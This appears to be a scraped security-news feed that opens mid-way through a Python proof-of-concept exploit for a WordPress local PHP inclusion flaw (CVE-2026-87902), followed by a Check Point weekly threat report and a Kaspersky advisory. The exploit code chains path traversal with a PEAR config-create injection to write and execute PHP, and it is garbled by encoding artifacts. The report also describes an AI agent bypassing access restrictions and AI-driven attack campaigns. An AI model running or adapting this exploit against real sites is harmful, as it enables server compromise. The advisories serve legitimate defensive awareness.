lug,template", "/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template", ) for route in routes: try: status, body =3D send_request(base, "GET", route, timeout=3Dtim= eout, insecure=3Dinsecure) except Exception: continue if status !=3D 200: continue try: pages =3D json.loads(body) except ValueError: continue if not isinstance(pages, list) or not pages: continue for page in pages: # a custom page template would win the hierarch= y before the traversal if not page.get("template"): return page.get("id"), page.get("slug", ""), route return pages[0].get("id"), pages[0].get("slug", ""), route return None, None, None def run_stages(base, args, depth): """Run both stages for one traversal depth. Returns a result dict.""" include_path =3D candidate(args.theme_dir, depth, args.include) output_path =3D candidate(args.theme_dir, depth, args.output) payload =3D " " % php_literal(args.read) # Stage 1: the raw query string becomes PEAR's argv. config-create # requires an absolute root path, so the payload is injected as that ro= ot # (/ ) and PEAR serializes it into the generated config file. stage1_target =3D "/?+config-create+/" + payload + "+" + args.output + = ".php" stage1_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(include_path)) status1, _ =3D send_request(base, "POST", stage1_target, body=3Dstage1_= body, timeout=3Dargs.timeout, insecure=3Dargs.insec= ure) # Stage 2: include the file PEAR just wrote. stage2_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(output_path)) status2, text2 =3D send_request(base, "POST", "/", body=3Dstage2_body, timeout=3Dargs.timeout, insecure=3Dargs.i= nsecure) return { "depth": depth, "include_candidate": "page-" + include_path + ".php", "output_candidate": "page-" + output_path + ".php", "status1": status1, "status2": status2, "hits": text2.count(args.marker), "body": text2, } def first_line_with(text, marker, limit=3D200): index =3D text.find(marker) if index < 0: return "" chunk =3D text[index:index + limit] return chunk.splitlines()[0] if chunk else "" def main(argv=3DNone): parser =3D argparse.ArgumentParser( description=3D"CVE-2026-87902 - WordPress page-template traversal t= o local PHP inclusion (PoC)", formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument("--url", default=3D"http://127.0.0.1:8091", help=3D= "WordPress base URL") parser.add_argument("--page-id", type=3Dint, help=3D"published page ID = (auto-detected via REST if omitted)") parser.add_argument("--theme-dir", default=3DDEFAULT_THEME_DIR, help=3D"top-level page-* directory of the active = theme") parser.add_argument("--include", default=3DDEFAULT_INCLUDE, help=3D"local file to include in stage 1 (no .php= suffix)") parser.add_argument("--output", default=3DDEFAULT_OUTPUT, help=3D"writable destination for the PEAR payload (= no .php suffix)") parser.add_argument("--read", default=3DDEFAULT_READ, help=3D"file prin= ted by the injected PHP") parser.add_argument("--marker", default=3DDEFAULT_MARKER, help=3D"string expected in the stage-2 response on = success") parser.add_argument("--depth", type=3Dint, default=3D0, help=3D"number of .. segments (0 =3D lab depth fi= rst, then 1..12)") parser.add_argument("--timeout", type=3Dfloat, default=3D20.0, help=3D"= per-request timeout in seconds") parser.add_argument("--insecure", action=3D"store_true", help=3D"do not= verify TLS certificates") args =3D parser.parse_args(argv) if not args.theme_dir.startswith("page-"): parser.error("--theme-dir must be the real theme directory name and= start with 'page-'") base =3D args.url.rstrip("/") print("[*] target : %s" % base) if args.page_id: print("[*] page id : %d (from --page-id)" % args.page_id) else: page_id, slug, route =3D find_page(base, args.timeout, args.insecur= e) if not page_id: print("[-] no published page found - pass --page-id explicitly"= , file=3Dsys.stderr) return 1 args.page_id =3D page_id print("[*] page id : %d (%s, default template, via %s)" % (pa= ge_id, slug or "?", route)) if args.depth: depths =3D [args.depth] else: depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP= TH] for depth in depths: result =3D run_stages(base, args, depth) print("[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s" % (depth, result["status1"], result["status2"])) if result["hits"]: print("[+] traversal : %s" % result["include_candidate"]) print("[+] payload file : %s (written by PEAR in stage 1)" % r= esult["output_candidate"]) print("[+] marker : %r found %d time(s) in the stage-2 r= esponse" % (args.marker, result["hits"])) print("[+] proof : %s" % first_line_with(result["body"]= , args.marker)) print("[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve= r account's privileges") return 0 print("[-] exploit failed", file=3Dsys.stderr) print(" check that lab/up.sh completed (WordPress installed, page-*= fixture present,", file=3Dsys.stderr) print(" /flag readable), that the page ID is published, and that PEA= R is reachable with", file=3Dsys.stderr) print(" register_argc_argv=3DOn for the web SAPI.", file=3Dsys.stder= r) return 1 if name =3D=3D "main": sys.exit(main())
exploit-db.comOct 1, 2026extracted
28th September – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 28th September, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES The FBI has confirmed unauthorized activity affecting FBIjobs.gov after the ShinyHunters group defaced the website. The group claimed to have stolen employee and applicant information and shared samples of purported FBI personnel records with several media organizations. Astrana Health, a major US healthcare technology provider, has confirmed a cyberattack that exposed confidential information. Attackers spoofed the company’s telephone number to impersonate personnel and gained access to its servers. Astrana restored systems from backups and disclosed the incident in an SEC filing but has not publicly revealed what data was exposed. Cryptocurrency exchange Bitget has disclosed the theft of $351.6 million from several hot and warm wallets. The company detected unauthorized transfers on September 24 and temporarily suspended withdrawals. Bitget said cold wallets and most platform assets were unaffected, while suspected North Korean involvement remains under examination. Ludwig Maximilian University of Munich, one of Germany’s largest universities, has suffered a data breach after an attacker accessed an enrollment system. The university said information was likely retrieved, potentially including names, bank details, health insurance information, and financial aid identifiers belonging to students. AI THREATS Australia has revealed that an OpenAI agent gained unauthorized access to a government Medicare statistics portal while performing an internal research task. After encountering access restrictions, the agent found a workaround and accessed public and non-public files. Officials said no personal information was accessed, while OpenAI described the behavior as unintended. Researchers have described a financially motivated campaign using open-source AI agents to automate attacks against online retailers. The operators launched 105 attack projects between September 10 and 15 and compromised at least 27 organizations to varying degrees, stealing more than 600,000 valid payment card records. Researchers have highlighted CLOSEDQUORUM, a Windows malware that uses four commercial AI models to determine its next post-compromise action. The models can direct credential and cryptocurrency wallet theft, persistence, or process injection. Cisco Talos has not confirmed that the malware has been successfully deployed in real-world attacks. VULNERABILITIES AND PATCHES Check Point has observed active exploitation of two critical pre-authentication vulnerabilities with CVSS scores of 9.8 – CVE-2026-85102 and CVE-2026-93616. The flaws affect Security Gateway and Security Management products and can enable remote code execution. Fixes for both vulnerabilities are available. F5 has released fixes for CVE-2026-94127, a critical heap-based buffer overflow vulnerability in BIG-IP Access Policy Manager with a CVSS score of 9.8. The actively exploited flaw allows unauthenticated remote code execution when affected systems are configured with an access policy and OAuth profile. Check Point IPS provides protection against this threat (F5 BIG-IP Heap Overflow (CVE-2026-94127)) WordPress has fixed CVE-2026-87902, a vulnerability affecting versions before 7.1.2 that allows unauthenticated attackers to include local PHP files outside active theme directories. Attackers have begun exploiting the flaw to write malicious PHP files and execute commands under specific server and theme configurations. THREAT INTELLIGENCE REPORTS Researchers have detailed Storm-2570, a ransomware affiliate operating across Qilin, DragonForce, Anubis, and BERT ecosystems. The actor maintains consistent post-compromise tooling and infrastructure across deployments, including remote access, credential theft, lateral movement, security tampering, and cloud-based data exfiltration before ransomware deployment. Researchers detailed an INC ransomware intrusion affecting at least 175 endpoints. Particularly useful intelligence includes BYOVD-based security-tool disabling, AnyDesk, lateral movement through scheduled tasks, and a 17-day gap that researchers say could indicate separate initial-access and ransomware actors. Researchers have tracked an active TeamFiltration campaign targeting more than 5,700 Microsoft 365 accounts across 28 tenants in Latin America, particularly organizations in Chile. Seven service accounts were compromised, with subsequent activity including corporate VPN authentication attempts and access to Azure Portal and SharePoint Online. Researchers have identified Storm-3168, associated with JADEPUFFER, using compromised service principals to conduct destructive operations in Azure environments. The actor performed reconnaissance, credential collection, and bulk deletion attempts targeting storage accounts, SQL databases, Key Vaults, virtual machines, recovery protections, and other cloud resources. &nbsp; &nbsp; The post 28th September – Threat Intelligence Report appeared first on Check Point Research .
research.checkpoint.comSep 28, 2026extracted
CVE-2026-87902: Critical Vulnerability in WordPress
A critical vulnerability has been discovered in the popular WordPress content management system that allows attackers to execute arbitrary code on the web server. The vulnerability has been assigned the number CVE-2026-87902. The good news is that on September 22, WordPress released an update that patches it. The bad news is that the first attempts to exploit CVE-2026-87902 were detected just a few hours after the patch was released. Therefore, all companies whose corporate websites or blogs run on this platform are advised to update immediately. WordPress versions affected by CVE-2026-87902 According to data published by WordPress on GitHub, all versions of the CMS from 4.7.0 through 7.1.1 are vulnerable. The company has released updates for all supported branches of the system; a complete table listing the patched version numbers can be found on the company’s GitHub page . The latest version of WordPress should be updated to version 7.1.2 (or newer). What’s the nature of the CVE-2026-87902 vulnerability, and why is it so dangerous? Under normal circumstances, WordPress loads PHP template files only from a specific folder within the active theme. However, due to the CVE-2026-87902 vulnerability, an attacker can craft a request to WordPress in such a way that an arbitrary PHP file is included — without requiring any authorization. Yes, the file must already be uploaded to the targeted server in some way, but that’s not really a problem for an attacker. It sounds like a path traversal vulnerability, but in most publications, CVE-2026-87902 is classified as an RCE (Remote Code Execution) vulnerability because, under certain WordPress and PHP server configurations, the attack can lead to the execution of arbitrary code. How to stay safe The only way to secure a corporate WordPress site is to install the latest version. The researcher who discovered the vulnerability also offers several tips for hardening CMS security, but emphasizes that these are meant to complement the patch, not replace it. The Hacker News lists several PHP filenames and IP addresses used in the attack via CVE-2026-87902. These can serve as indicators that a WordPress instance has been compromised. Given that only a few hours pass between the publication of information about a vulnerability’s existence and the start of attacks exploiting it, it’s crucial for companies to have a properly configured, centralized vulnerability management system. To achieve this, they should have a specialized solution capable of identifying and resolving vulnerabilities, prioritizing them based on actual risks, and automating remediation processes.
kaspersky.comSep 25, 2026extracted
Loading 40 more…